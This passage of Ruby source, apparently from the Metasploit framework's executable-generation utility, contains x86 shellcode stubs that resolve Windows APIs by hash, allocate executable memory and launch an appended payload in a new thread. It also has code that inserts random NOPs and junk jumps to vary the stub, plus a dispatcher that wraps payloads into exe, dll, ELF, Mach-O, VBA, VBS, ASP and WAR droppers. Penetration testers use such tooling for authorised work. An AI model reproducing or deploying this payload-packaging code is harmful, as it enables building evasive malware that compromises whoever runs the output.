                  mov eax, [edx+60]      ; Get PE header
1489
                  add eax, edx           ; Add the modules base address
1490
                  mov eax, [eax+120]     ; Get export tables RVA
1491
                  test eax, eax          ; Test if no export address table is present
1492
                  jz get_next_mod1       ; If no EAT present, process the next module
1493
                  add eax, edx           ; Add the modules base address
1494
                  push eax               ; Save the current modules EAT
1495
                  mov ecx, [eax+24]      ; Get the number of function names
1496
                  mov ebx, [eax+32]      ; Get the rva of the function names
1497
                  add ebx, edx           ; Add the modules base address
1498
                  ; Computing the module hash + function hash
1499
                get_next_func:           ;
1500
                  jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
1501
                  dec ecx                ; Decrement the function name counter
1502
                  mov esi, [ebx+ecx*4]   ; Get rva of next module name
1503
                  add esi, edx           ; Add the modules base address
1504
                  xor edi, edi           ; Clear EDI which will store the hash of the function name
1505
                  ; And compare it to the one we want
1506
                loop_funcname:           ;
1507
                  xor eax, eax           ; Clear EAX
1508
                  lodsb                  ; Read in the next byte of the ASCII function name
1509
                  ror edi, 13            ; Rotate right our hash value
1510
                  add edi, eax           ; Add the next byte of the name
1511
                  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
1512
                  jne loop_funcname      ; If we have not reached the null terminator, continue
1513
                  add edi, [ebp-8]       ; Add the current module hash to the function hash
1514
                  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
1515
                  jnz get_next_func      ; Go compute the next function hash if we have not found it
1516
                  ; If found, fix up stack, call the function and then value else compute the next one...
1517
                  pop eax                ; Restore the current modules EAT
1518
                  mov ebx, [eax+36]      ; Get the ordinal table rva
1519
                  add ebx, edx           ; Add the modules base address
1520
                  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
1521
                  mov ebx, [eax+28]      ; Get the function addresses table rva
1522
                  add ebx, edx           ; Add the modules base address
1523
                  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
1524
                  add eax, edx           ; Add the modules base address to get the functions actual VA
1525
                  ; We now fix up the stack and perform the call to the desired function...
1526
                finish:
1527
                  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
1528
                  pop ebx                ; Clear off the current modules hash
1529
                  pop ebx                ; Clear off the current position in the module list
1530
                  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
1531
                  pop ecx                ; Pop off the origional return address our caller will have pushed
1532
                  pop edx                ; Pop off the hash value our caller will have pushed
1533
                  push ecx               ; Push back the correct return value
1534
                  jmp eax                ; Jump into the required function
1535
                  ; We now automagically return to the correct caller...
1536
                get_next_mod:            ;
1537
                  pop eax                ; Pop off the current (now the previous) modules EAT
1538
                get_next_mod1:           ;
1539
                  pop edi                ; Pop off the current (now the previous) modules hash
1540
                  pop edx                ; Restore our position in the module list
1541
                  mov edx, [edx]         ; Get the next module
1542
                  jmp next_mod     ; Process this module
1543
                ^
1544

    
1545
                stub_exit = %Q^
1546
                ; Input: EBP must be the address of 'api_call'.
1547
                ; Output: None.
1548
                ; Clobbers: EAX, EBX, (ESP will also be modified)
1549
                ; Note: Execution is not expected to (successfully) continue past this block
1550

    
1551
                exitfunk:
1552
                  mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
1553
                  push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
1554
                  call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
1555
                  cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
1556
                  jl goodbye       ; Then just call the exit function...
1557
                  cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1558
                  jne goodbye      ;
1559
                  mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1560
                goodbye:                 ; We now perform the actual call to the exit function
1561
                  push byte 0            ; push the exit function parameter
1562
                  push ebx               ; push the hash of the exit function
1563
                  call ebp               ; call EXITFUNK( 0 );
1564
                ^
1565

    
1566
                stub_alloc = %Q^
1567
                  pushad                 ; Save registers
1568
                  cld                    ; Clear the direction flag.
1569
                  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
1570
                delta:                   ;
1571
                #{stub_block}
1572
                start:                   ;
1573
                  pop ebp                ; Pop off the address of 'api_call' for calling later.
1574

    
1575
                allocate_size:
1576
                   mov esi,PAYLOAD_SIZE
1577

    
1578
                allocate:
1579
                  push byte 0x40         ; PAGE_EXECUTE_READWRITE
1580
                  push 0x1000            ; MEM_COMMIT
1581
                  push esi               ; Push the length value of the wrapped code block
1582
                  push byte 0            ; NULL as we dont care where the allocation is.
1583
                  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
1584
                  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1585

    
1586
                  mov ebx, eax           ; Store allocated address in ebx
1587
                  mov edi, eax           ; Prepare EDI with the new address
1588
                  mov ecx, esi           ; Prepare ECX with the length of the code
1589
                  call get_payload
1590
                got_payload:
1591
                  pop esi                ; Prepare ESI with the source to copy
1592
                  rep movsb              ; Copy the payload to RWX memory
1593
                  call set_handler       ; Configure error handling
1594

    
1595
                exitblock:
1596
                #{stub_exit}
1597

    
1598
                set_handler:
1599
                  xor eax,eax
1600
;                  push dword [fs:eax]
1601
;                  mov dword [fs:eax], esp
1602
                  push eax               ; LPDWORD lpThreadId (NULL)
1603
                  push eax               ; DWORD dwCreationFlags (0)
1604
                  push eax               ; LPVOID lpParameter (NULL)
1605
                  push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
1606
                  push eax               ; SIZE_T dwStackSize (0 for default)
1607
                  push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
1608
                  push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
1609
                  call ebp               ; Spawn payload thread
1610

    
1611
                  pop eax                ; Skip
1612
;                  pop eax                ; Skip
1613
                  pop eax                ; Skip
1614
                  popad                  ; Get our registers back
1615
;                  sub esp, 44             ; Move stack pointer back past the handler
1616
                ^
1617

    
1618
                stub_final = %Q^
1619
                get_payload:
1620
                  call got_payload
1621
                payload:
1622
                ; Append an arbitary payload here
1623
                ^
1624

    
1625

    
1626
                stub_alloc.gsub!('short', '')
1627
                stub_alloc.gsub!('byte', '')
1628

    
1629
                wrapper = ""
1630
                # regs    = %W{eax ebx ecx edx esi edi ebp}
1631

    
1632
                cnt_jmp = 0
1633
                cnt_nop = 64
1634

    
1635
                stub_alloc.each_line do |line|
1636
                        line.gsub!(/;.*/, '')
1637
                        line.strip!
1638
                        next if line.empty?
1639

    
1640
                        if (cnt_nop > 0 and rand(4) == 0)
1641
                                wrapper << "nop\n"
1642
                                cnt_nop -= 1
1643
                        end
1644

    
1645
                        if(cnt_nop > 0 and rand(16) == 0)
1646
                                cnt_nop -= 2
1647
                                cnt_jmp += 1
1648

    
1649
                                wrapper << "jmp autojump#{cnt_jmp}\n"
1650
                                1.upto(rand(8)+1) do
1651
                                        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1652
                                        cnt_nop -= 1
1653
                                end
1654
                                wrapper << "autojump#{cnt_jmp}:\n"
1655
                        end
1656
                        wrapper << line + "\n"
1657
                end
1658

    
1659
                #someone who knows how to use metasm please explain the right way to do this.
1660
                wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
1661
                wrapper << stub_final
1662

    
1663
                enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1664
                off = enc.offset_of_reloc('PAYLOAD_SIZE')
1665
                soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
1666
                res = enc.data + code
1667

    
1668
                res[off,4] = [code.length].pack('V')
1669
                if which_offset == 'start'
1670
                        res[soff,4] = [block_offset - (soff + 4)].pack('V')
1671
                elsif which_offset == 'end'
1672
                        res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
1673
                else
1674
                        raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
1675
                end
1676
                res
1677
        end
1678

    
1679

    
1680
        #
1681
        # This routine is shared between msfencode, rpc, and payload modules (use <payload>)
1682
        #
1683
        # It will return nil if it wasn't able to generate any output.
1684
        #
1685
        def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
1686

    
1687
                output = nil
1688

    
1689
                case fmt
1690
                when 'dll'
1691
                        if (not arch or (arch.index(ARCH_X86)))
1692
                                output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
1693
                        end
1694

    
1695
                        if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
1696
                                output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts)
1697
                        end
1698

    
1699
                when 'exe'
1700
                        if (not arch or (arch.index(ARCH_X86)))
1701
                                output = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
1702
                        end
1703

    
1704
                        if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
1705
                                output = Msf::Util::EXE.to_win64pe(framework, code, exeopts)
1706
                        end
1707

    
1708
                when 'exe-small'
1709
                        if(not arch or (arch.index(ARCH_X86)))
1710
                                output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
1711
                        end
1712

    
1713
                when 'elf'
1714
                        if (not arch or (arch.index(ARCH_X86)))
1715
                                output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
1716
                        end
1717

    
1718
                        if (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
1719
                                output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts)
1720
                        end
1721

    
1722
                when 'macho'
1723
                        if (not arch or (arch.index(ARCH_X86)))
1724
                                output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
1725
                        end
1726

    
1727
                        if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64)))
1728
                                output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts)
1729
                        end
1730

    
1731
                when 'vba'
1732
                        output = Msf::Util::EXE.to_vba(framework, code, exeopts)
1733

    
1734
                when 'vba-exe'
1735
                        exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
1736
                        output = Msf::Util::EXE.to_exe_vba(exe)
1737

    
1738
                when 'vbs'
1739
                        output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))
1740

    
1741
                when 'loop-vbs'
1742
                        output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
1743

    
1744
                when 'asp'
1745
                        output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
1746

    
1747
                when 'war'
1748
                        arch ||= [ ARCH_X86 ]
1749
                        tmp_plat = plat.platforms if plat
1750
                        tmp_plat ||= Msf::Module::PlatformList.transform('win')
1751
                        exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
1752
                        output = Msf::Util::EXE.to_jsp_war(exe)
1753

    
1754
                end
1755

    
1756
                output
1757
        end
1758

    
1759
        def self.to_executable_fmt_formats
1760
                ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','war']
1761
        end
1762

    
1763
        #
1764
        # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR
1765
        #
1766
        def self.is_eicar_corrupted?
1767
                path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com"))
1768
                return true if not ::File.exists?(path)
1769

    
1770
                begin
1771
                        data = ::File.read(path)
1772
                        if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140"
1773
                                return true
1774
                        end
1775

    
1776
                rescue ::Exception
1777
                        return true
1778
                end
1779

    
1780
                false
1781
        end
1782

    
1783
end
1784
end
1785
end
1786